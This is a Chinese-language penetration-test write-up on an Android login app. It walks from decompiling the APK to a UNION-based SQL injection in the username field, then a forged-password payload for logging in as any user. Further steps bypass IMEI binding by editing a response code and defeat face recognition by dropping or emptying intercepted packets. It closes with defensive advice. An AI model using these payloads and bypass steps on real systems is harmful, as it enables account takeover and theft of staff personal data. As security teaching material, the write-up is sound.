App渗透 - 从SQL注入到人脸识别登录绕过
字数 967 2025-08-20 18:17:59

App渗透测试:从SQL注入到人脸识别登录绕过

1. 目标应用分析

目标是一个具有登录功能的移动应用,具有以下特点:

  • 使用加密传输数据
  • 包含用户名密码登录、短信验证码登录和人脸识别功能
  • 未加壳、未混淆的Android应用

2. 加密分析

2.1 加密定位

  1. 使用Jadx反编译APK
  2. 搜索关键词"Encrypt"、"Decrypt"
  3. 在Common.js中发现encryptData函数

2.2 加密调试

  • 将加密函数放入浏览器console调试
  • 确认加密算法可用

3. SQL注入漏洞利用

3.1 注入点发现

原始请求:

{
  "userName": "TEST'",
  "passWord": "123456",
  "osType": "android",
  "osVersion": "5.1.1",
  "appVersion": "20.06.04",
  "loginType": "1",
  "model": "V1938T",
  "brand": "vivo",
  "imei": "865166023309431",
  "version": "new"
}

测试步骤:

  1. TEST' → 返回异常
  2. TEST'' → 返回正常
  3. TEST'or'1'='1 → 返回正常

3.2 注入类型分析

后端逻辑推测:

userInfo = 'select * from userinfo where username = <userName>';
userPass = userInfo.password;
if (userPass == <passWord>){
    return 'Login success';
}else{
    return 'Login failed';
}

3.3 Union注入构造

3.3.1 确定字段数

TEST'union/**/select/**/null,null,null,null,null,null,null,null,null from dual--

发现字段数为9个

3.3.2 确定字段类型

TEST'union/**/select/**/1,'123','123','123','123','123','123','123',1 from dual--

3.3.3 定位密码字段

TEST'union/**/select/**/1,'123','123','Ceshi123@@@','123','123','123','123',1 from dual--

发现第4个字段为密码字段

4. 获取真实用户信息

4.1 利用忘记密码功能

  • 爆破用户名字典
  • 获取有效用户名列表

4.2 通过短信验证码登录

  • 获取验证码
  • 解密返回包获取用户完整信息:
    • username
    • staffId
    • email
    • staffName
    • tel/mobile

5. 构造完整攻击Payload

TEST'union/**/select/**/<staffId>,'Qwe123@@@','<userName>','Qwe123@@@','<mobile>','<mobile>','<email>','865166023309431',<staffId> from dual--

6. IMEI绑定绕过

  1. 输入任意验证码
  2. 拦截返回包
  3. 修改resultCode从1001(失败)改为1000(成功)

7. 人脸识别绕过

7.1 首次人脸检测

  • 拦截手机发向服务器的包
  • 直接丢弃该数据包

7.2 大数据包处理

  • 拦截包含人脸数据的包
  • 将人脸数据替换为空
  • 转发修改后的数据包

8. 完整攻击流程总结

  1. 反编译APK定位加密函数
  2. 测试发现SQL注入点
  3. 构造Union注入确定字段信息
  4. 利用忘记密码功能获取有效用户名
  5. 通过短信验证码登录获取完整用户信息
  6. 构造完整Union注入Payload实现任意用户登录
  7. 绕过IMEI绑定验证
  8. 拦截并修改人脸识别相关数据包
  9. 最终成功登录系统

9. 防御建议

  1. 输入验证:

    • 对所有用户输入进行严格过滤
    • 使用参数化查询
  2. 加密改进:

    • 不要在前端暴露完整加解密算法
    • 考虑使用证书固定
  3. 人脸识别安全:

    • 服务端应验证人脸数据的完整性
    • 实现多因素认证
  4. 其他:

    • 对APK进行混淆和加固
    • 实现完善的日志监控和异常检测
App渗透测试:从SQL注入到人脸识别登录绕过 1. 目标应用分析 目标是一个具有登录功能的移动应用,具有以下特点: 使用加密传输数据 包含用户名密码登录、短信验证码登录和人脸识别功能 未加壳、未混淆的Android应用 2. 加密分析 2.1 加密定位 使用Jadx反编译APK 搜索关键词"Encrypt"、"Decrypt" 在Common.js中发现encryptData函数 2.2 加密调试 将加密函数放入浏览器console调试 确认加密算法可用 3. SQL注入漏洞利用 3.1 注入点发现 原始请求: 测试步骤: TEST' → 返回异常 TEST'' → 返回正常 TEST'or'1'='1 → 返回正常 3.2 注入类型分析 后端逻辑推测: 3.3 Union注入构造 3.3.1 确定字段数 发现字段数为9个 3.3.2 确定字段类型 3.3.3 定位密码字段 发现第4个字段为密码字段 4. 获取真实用户信息 4.1 利用忘记密码功能 爆破用户名字典 获取有效用户名列表 4.2 通过短信验证码登录 获取验证码 解密返回包获取用户完整信息: username staffId email staffName tel/mobile 5. 构造完整攻击Payload 6. IMEI绑定绕过 输入任意验证码 拦截返回包 修改resultCode从1001(失败)改为1000(成功) 7. 人脸识别绕过 7.1 首次人脸检测 拦截手机发向服务器的包 直接丢弃该数据包 7.2 大数据包处理 拦截包含人脸数据的包 将人脸数据替换为空 转发修改后的数据包 8. 完整攻击流程总结 反编译APK定位加密函数 测试发现SQL注入点 构造Union注入确定字段信息 利用忘记密码功能获取有效用户名 通过短信验证码登录获取完整用户信息 构造完整Union注入Payload实现任意用户登录 绕过IMEI绑定验证 拦截并修改人脸识别相关数据包 最终成功登录系统 9. 防御建议 输入验证: 对所有用户输入进行严格过滤 使用参数化查询 加密改进: 不要在前端暴露完整加解密算法 考虑使用证书固定 人脸识别安全: 服务端应验证人脸数据的完整性 实现多因素认证 其他: 对APK进行混淆和加固 实现完善的日志监控和异常检测